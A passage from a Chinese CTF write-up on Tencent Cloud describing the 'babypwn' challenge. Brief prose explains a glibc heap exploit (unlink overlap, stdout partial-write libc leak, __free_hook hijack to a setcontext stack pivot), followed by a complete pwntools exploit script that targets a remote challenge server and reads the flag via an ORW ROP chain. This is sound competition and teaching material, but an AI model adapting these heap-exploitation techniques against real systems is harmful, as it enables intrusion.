那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout泄漏libc,打通几率1 / 16,

泄漏之后,然后劫持__free_hook为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108处,这里我是放在__free_hook高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook上面。

exp

代码语言:txt
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.130.158:8888"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz):
    sla('>>', '1')
    sla(':', str(sz))

def rm(idx):
    sla('>>', '2')
    sla(':', str(idx))

def md(idx, d):
    sla('>>', '3')
    sla(':', str(idx))
    sa(':', d)

def dp(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ad(0x108) # 0
    ad(0x128) # 1
    ad(0x118) # 2
    ad(0x108) # 3

    for i in range(7):
        ad(0x100)

    for i in range(4, 11):
        rm(i)

    for i in range(7):
        ad(0xf0)

    for i in range(4, 11):
        rm(i)
    rm(0) # set libc


    md(2, 'A' * 0x118) # set last one
    md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
    md(3, b'A' * 0xf8 + p64(0x121)) # set fake size

    rm(3) # unlink

    ad(0x108) # 0
    ad(0x108) # 3

    ad(0x108) # 4
    ad(0x108) # 5
    ad(0x108) # 7
    ad(0x108) # 8
    ad(0x108) # 9

    rm(2) # remove chunk1

    ad(0xd0) # 2
    ad(0x150) # 9

    ad(0x130) # 10
    #2760
    md(10, '\x50\x97') # set to stdout

    ad(0x118) # 11
    ad(0x118) # 12

    p = b'A' * 0x10
    p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
    md(12, p)

    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
    li('libc_base: ' + hex(libc_base))

    rm(11)
    md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))

    ad(0x130) # 11
    ad(0x130) # 13

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
    pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
    ret = libc_base + 0x00000000000008aa # ret
    pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
    syscall = libc_base + 0x11007f

    '''
    p = p64(libc_base + 0x520a5) # setcontext
    p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(libc_open)
    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(libc_read)
    p += p64(pop_rdi) + p64(1)
    p += p64(libc_write)
    p = p.ljust(0x120, b'\x00')
    p += b'./flag'
    '''

    p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(pop_rax) + p64(2)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(pop_rax) + p64(0)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(1)
    p += p64(pop_rax) + p64(1)
    p += p64(syscall)

    p = p.ljust(0x100, b'\x00')
    p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
    p += p64(libc_base + 0x520a5) # setcontext

    md(13, p) # modify free_hook

    p = b'A' * 0xa0
    p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
    p += p64(ret) # rcx
    md(11, p)

    db()
    rm(11)
    
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        #io = elf.process()
        io = process(elf_path, env = {'LD_PREALOAD': libc_path})
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 强网杯PWN WP
    • baby_diary
      • exp
    • noout
      • exp
    • orw
      • exp
    • shellcode
      • exp
    • pipeline
      • exp
    • babypwn
      • exp
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档